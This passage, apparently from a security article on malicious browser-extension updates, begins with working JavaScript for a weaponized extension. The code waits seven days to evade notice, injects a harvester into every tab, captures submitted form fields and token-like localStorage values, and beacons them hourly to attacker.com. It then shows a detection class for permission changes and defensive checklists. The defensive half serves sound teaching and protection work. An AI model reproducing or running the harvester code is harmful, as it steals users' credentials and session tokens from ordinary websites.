    this.harvestStats = {
      credentials: 0,
      tokens: 0,
      cookies: 0
    };
  }
  
  // Delayed activation to avoid suspicion
  async init() {
    // Wait 7 days after update before activating malicious features
    const installDate = await this.getInstallDate();
    const daysSinceInstall = (Date.now() - installDate) / (1000 * 60 * 60 * 24);
    
    if (daysSinceInstall >= 7) {
      console.log('[+] Activation period reached, starting harvest');
      this.startHarvesting();
    } else {
      console.log(`[*] Dormant period: ${7 - daysSinceInstall} days remaining`);
      // Check again in 1 day
      setTimeout(() => this.init(), 24 * 60 * 60 * 1000);
    }
  }
  
  async getInstallDate() {
    const data = await chrome.storage.local.get('installDate');
    if (!data.installDate) {
      const now = Date.now();
      await chrome.storage.local.set({ installDate: now });
      return now;
    }
    return data.installDate;
  }
  
  startHarvesting() {
    // Inject into all tabs
    chrome.tabs.query({}, (tabs) => {
      tabs.forEach(tab => {
        if (!tab.url.startsWith('chrome://')) {
          this.injectHarvester(tab.id);
        }
      });
    });
    
    // Monitor new tabs
    chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
      if (changeInfo.status === 'complete' && !tab.url.startsWith('chrome://')) {
        this.injectHarvester(tabId);
      }
    });
    
    // Periodic data exfiltration
    setInterval(() => this.exfiltrateHarvestedData(), 60 * 60 * 1000); // Every hour
  }
  
  async injectHarvester(tabId) {
    try {
      await chrome.scripting.executeScript({
        target: { tabId: tabId },
        func: this.harvesterPayload
      });
      
      this.victimCount++;
    } catch (error) {
      // Silently fail
    }
  }
  
  // Payload injected into each page
  harvesterPayload() {
    // Form submission harvesting
    document.addEventListener('submit', (e) => {
      const form = e.target;
      const data = new FormData(form);
      const credentials = {};
      
      for (let [key, value] of data.entries()) {
        credentials[key] = value;
      }
      
      chrome.runtime.sendMessage({
        type: 'credentials',
        data: credentials,
        url: location.href
      });
    });
    
    // Token harvesting from localStorage
    setInterval(() => {
      const tokens = {};
      for (let i = 0; i < localStorage.length; i++) {
        const key = localStorage.key(i);
        const value = localStorage.getItem(key);
        
        // Only harvest token-like values
        if (value && value.length > 20 && /^[A-Za-z0-9\-._]+$/.test(value)) {
          tokens[key] = value;
        }
      }
      
      if (Object.keys(tokens).length > 0) {
        chrome.runtime.sendMessage({
          type: 'tokens',
          data: tokens,
          url: location.href
        });
      }
    }, 30000); // Every 30 seconds
  }
  
  async exfiltrateHarvestedData() {
    const data = await chrome.storage.local.get('harvestedData');
    
    if (data.harvestedData && data.harvestedData.length > 0) {
      console.log(`[+] Exfiltrating ${data.harvestedData.length} harvested items`);
      
      // Exfiltrate via image beacon (stealthier than fetch)
      const img = new Image();
      img.src = `https://attacker.com/collect?data=${encodeURIComponent(JSON.stringify(data.harvestedData))}`;
      
      // Clear after exfiltration
      await chrome.storage.local.set({ harvestedData: [] });
    }
  }
}

// Initialize with delay
setTimeout(() => {
  const weaponizer = new AcquiredExtensionWeaponizer();
  weaponizer.init();
}, 5000);

Developer Account Takeover Detection

Click to expand code
javascript
// User-side detection of malicious extension updates
class ExtensionUpdateMonitor {
  constructor() {
    this.extensionRegistry = new Map();
  }
  
  // Monitor all installed extensions
  async monitorExtensions() {
    const extensions = await chrome.management.getAll();
    
    extensions.forEach(ext => {
      // Store baseline permissions
      this.extensionRegistry.set(ext.id, {
        name: ext.name,
        version: ext.version,
        permissions: ext.permissions,
        hostPermissions: ext.hostPermissions
      });
    });
    
    // Listen for extension updates
    chrome.management.onInstalled.addListener((ext) => {
      this.checkForSuspiciousUpdate(ext);
    });
    
    chrome.management.onEnabled.addListener((ext) => {
      this.checkForSuspiciousUpdate(ext);
    });
  }
  
  checkForSuspiciousUpdate(newExt) {
    const baseline = this.extensionRegistry.get(newExt.id);
    
    if (!baseline) {
      console.log(`[*] New extension installed: ${newExt.name}`);
      return;
    }
    
    // Check for permission escalation
    const newPermissions = newExt.permissions.filter(p => !baseline.permissions.includes(p));
    const newHostPermissions = newExt.hostPermissions.filter(h => !baseline.hostPermissions.includes(h));
    
    if (newPermissions.length > 0 || newHostPermissions.length > 0) {
      console.warn(`[!] SUSPICIOUS UPDATE DETECTED: ${newExt.name}`);
      console.warn(`[!] New permissions:`, newPermissions);
      console.warn(`[!] New host permissions:`, newHostPermissions);
      
      // Alert user
      this.alertUser(newExt, newPermissions, newHostPermissions);
    }
  }
  
  alertUser(ext, newPerms, newHosts) {
    const message = `
      ⚠️ WARNING: Extension "${ext.name}" requested new permissions:
      
      Permissions: ${newPerms.join(', ')}
      Host Access: ${newHosts.join(', ')}
      
      This could indicate a supply chain attack!
    `;
    
    console.error(message);
    
    // In real implementation, show browser notification
    if (chrome.notifications) {
      chrome.notifications.create({
        type: 'basic',
        iconUrl: 'warning-icon.png',
        title: 'Suspicious Extension Update',
        message: message,
        priority: 2
      });
    }
  }
}

// Initialize monitor
const monitor = new ExtensionUpdateMonitor();
monitor.monitorExtensions();

Defense Against Extension Attacks

For Users:

  • Review extension permissions before installation
  • Monitor for unexpected permission requests after updates
  • Uninstall extensions you don't actively use
  • Check extension reviews for sudden negative feedback (indicates compromise)
  • Use browser's built-in extension permission manager regularly

For Developers:

  • Enable 2FA on developer accounts
  • Use hardware security keys for Chrome Web Store access
  • Implement code signing for extension packages
  • Monitor extension analytics for unusual spikes in installations
  • Set up alerts for unauthorized updates
  • Use minimal permissions (Principle of Least Privilege)

For Enterprises:

  • Implement extension allowlisting policies
  • Use Chrome Enterprise policies to restrict extension installation
  • Monitor for extension permission changes via MDM
  • Block extensions from untrusted developers
  • Audit installed extensions quarterly